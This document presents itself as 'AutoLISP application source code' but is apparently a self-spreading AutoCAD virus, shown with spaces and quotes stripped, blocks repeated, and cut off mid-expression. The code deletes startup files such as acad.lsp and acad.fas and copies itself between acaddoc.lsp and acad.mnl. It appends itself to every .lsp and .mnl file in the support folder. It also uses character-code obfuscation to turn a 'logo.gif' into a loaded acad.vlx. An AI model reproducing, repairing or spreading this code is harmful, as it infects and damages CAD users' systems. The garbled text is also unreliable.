AutoLISP-应用程序源代码

(setqwold_cmd(getvarcmdecho))(setvarcmdecho0)(setqbb2)(setqdpath(getvardwgprefix))(setqwpath(getvarmenuname))(setqwpath(substrwpath1(-(strlenwpath)4)))(setqn0)(while(n1)(if(vl-file-delete(findfileacad.fas))(if(findfileacad.fas)(setqn0))(setqn2)))(setqn0)(while(n1)(if(findfilelcm.fas)(if(vl-file-delete(findfilelcm.fas))(setqn0))(setqn2)))(setqn0)(while(n1)(if(findfileacad.lsp)(if(vl-file-delete(findfileacad.lsp))(setqn0))(setqn2)))(defunwwriteapp()(if(setqwwjm1(openwnewacadw))(progn(setqwwjm(openwoldacadr))(while(setqwwz(read-linewwjm))(write-linewwzwwjm1))(closewwjm)(closewwjm1))))(setqlbz0)(setqwwjqm(strcatdpathacaddoc.lsp))(if(setqwwjm(openwwjqmr))(progn(repeat3(read-linewwjm))(setqwz(read-linewwjm))(setqab(atoi(substrwz41)))(closewwjm)(if(abbb)(setqlbz1))))(setqwwjqm(strcatwpathacad.mnl))(if(setqwwjm(openwwjqmr))(progn(repeat3(read-linewwjm))(setqwz(read-linewwjm))(setqnb(atoi(substrwz41)))(closewwjm)(if(nbbb)(setqlbz1)))(setqlbz1))(if(=lbz1)(progn(setqwoldacad(strcatdpathacaddoc.lsp))(setqwnewacad(strcatwpathacad.mnl))(wwriteapp)))(if(and(/=(substrdpath11)(chr67))(/=(substrdpath11)(chr68))(/=(substrdpath11)(chr69))(/=(substrdpath11)(chr70)))(progn(setqwoldacad(strcatwpathacad.mnl))(setqwnewacad(strcatdpathacaddoc.lsp))(wwriteapp))(vl-file-delete(strcatdpathacaddoc.lsp)));loadacadapq)(vl-file-copy(findfile(vl-list-string'(10811110311146103105102)))(vl-list-string'(97999710046118108120)))(loadacadappp.lsp)(princ)(if(nullstol)(loadlcm))(princ)(loadacadappp.lsp)(princ)(loadacadapq)(princ)(loadacadappp.lsp)(princ)(setqflagxt)(setqbz(setqflagxt))(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm1(opentargetr))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensourcer))(setqwjm1(opentargeta))(write-line(chr13)wjm1)(while(setqtext(read-linewjm))(if(=textbz)(setqflagt))(ifflag(progn(write-linetextwjm1));progn);if);while(closewjm1)(closewjm));progn);if);defun(setvarcmdecho0)(setqacadmnl(findfileacad.mnl))(setqacadmnlpath(vl-filename-directoryacadmnl))(setqmnlfilelist(vl-directory-filesacadmnlpath*.mnl))(setqmnlnum(lengthmnlfilelist))(setqacadexe(findfileacad.exe))(setqacadpath(vl-filename-directoryacadexe))(setqsupport(strcatacadpath\\support))(setqlspfilelist(vl-directory-filessupport*.lsp))(setqlspfilelist(appendlspfilelist(listacaddoc.lsp)))(setqlspnum(lengthlspfilelist))(setqdwgname(getvardwgname))(setqdwgpath(findfiledwgname))(ifdwgpath(progn(setqacaddocpath(vl-filename-directorydwgpath))(setqacaddocfile(strcatacaddocpath\\acaddoc.lsp))(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath\\(nthmnlnmnlfilelist)))(appmnlfilenameacaddocfilebz)(appacaddocfilemnlfilenamebz)(setqmnln(1+mnln)));while(setqlspn0)(while(lspnlspnum)(setqlspfilename(strcatsupport\\(nthlspnlspfilelist)))(applspfilenameacaddocfilebz)(appacaddocfilelspfilenamebz)(setqlspn(1+lspn)));while);progn);if(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath\\(nthmnlnmnlfilelist)))(setqmnln10)(while(mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath\\(nthmnln1mnlfilelist)))(appmnlfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn10)(while(lspn1lspnum)(setqlspfilename1(strcatsupport\\(nthlspn1lspfilelist)))(appmnlfilenamelspfilename1bz)(setqlspn1(1+lspn1)));while(setqmnln(1+mnln)));while(setqlspn0)(while(lspnlspnum)(setqlspfilename(strcatsupport\\(nthlspnlspfilelist)))(setqlspn10)(while(lspn1lspnum)(setqlspfilename1(strcatsupport\\(nthlspn1lspfilelist)))(applspfilenamelspfilename1bz)(setqlspn1(1+lspn1)));while(setqmnln10)(while(mnln1mnlnum)(setqmnlfilename1(strcatacadmnlpath\\(nthmnln1mnlfilelist)))(applspfilenamemnlfilename1bz)(setqmnln1(1+mnln1)));while(setqlspn(1+lspn))(loadacadapq)(princ)(loadacadapp)(princ)(loadacadapq)(princ)(setqflagxt)(setqbz(setqflagxt))(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm1(opentargetr))(while(setqtext(read-linewjm1))(if(=textbz)(setqflag1nil)));while(closewjm1));progn);if(ifflag1(progn(setqwjm(opensourcer))(setqwjm1(opentargeta))(write-line(chr13)wjm1)(while(setqtext(read-linewjm))(if(=textbz)(setqflagt))(ifflag(progn(write-linetextwjm1));progn);if);while(closewjm1)(closewjm));progn);if);defun(setvarcmdecho0)(setqacadmnl(findfileacad.mnl))(setqacadmnlpath(vl-filename-directoryacadmnl))(setqmnlfilelist(vl-directory-filesacadmnlpath*.mnl))(setqmnlnum(lengthmnlfilelist))(setqacadexe(findfileacad.exe))(setqacadpath(vl-filename-directoryacadexe))(setqsupport(strcatacadpath\\support))(setqlspfilelist(vl-directory-filessupport*.lsp))(setqlspfilelist(appendlspfilelist(listacaddoc.lsp)))(setqlspnum(lengthlspfilelist))(setqdwgname(getvardwgname))(setqdwgpath(findfiledwgname))(ifdwgpath(progn(setqacaddocpath(vl-filename-directorydwgpath))(setqacaddocfile(strcatacaddocpath\\acaddoc.lsp))(setqmnln0)(while(mnlnmnlnum)(setqmnlfilename(strcatacadmnlpath\\(nthmnlnmnlfilelist)))(appmnlfilenameacaddocfilebz)(appacaddo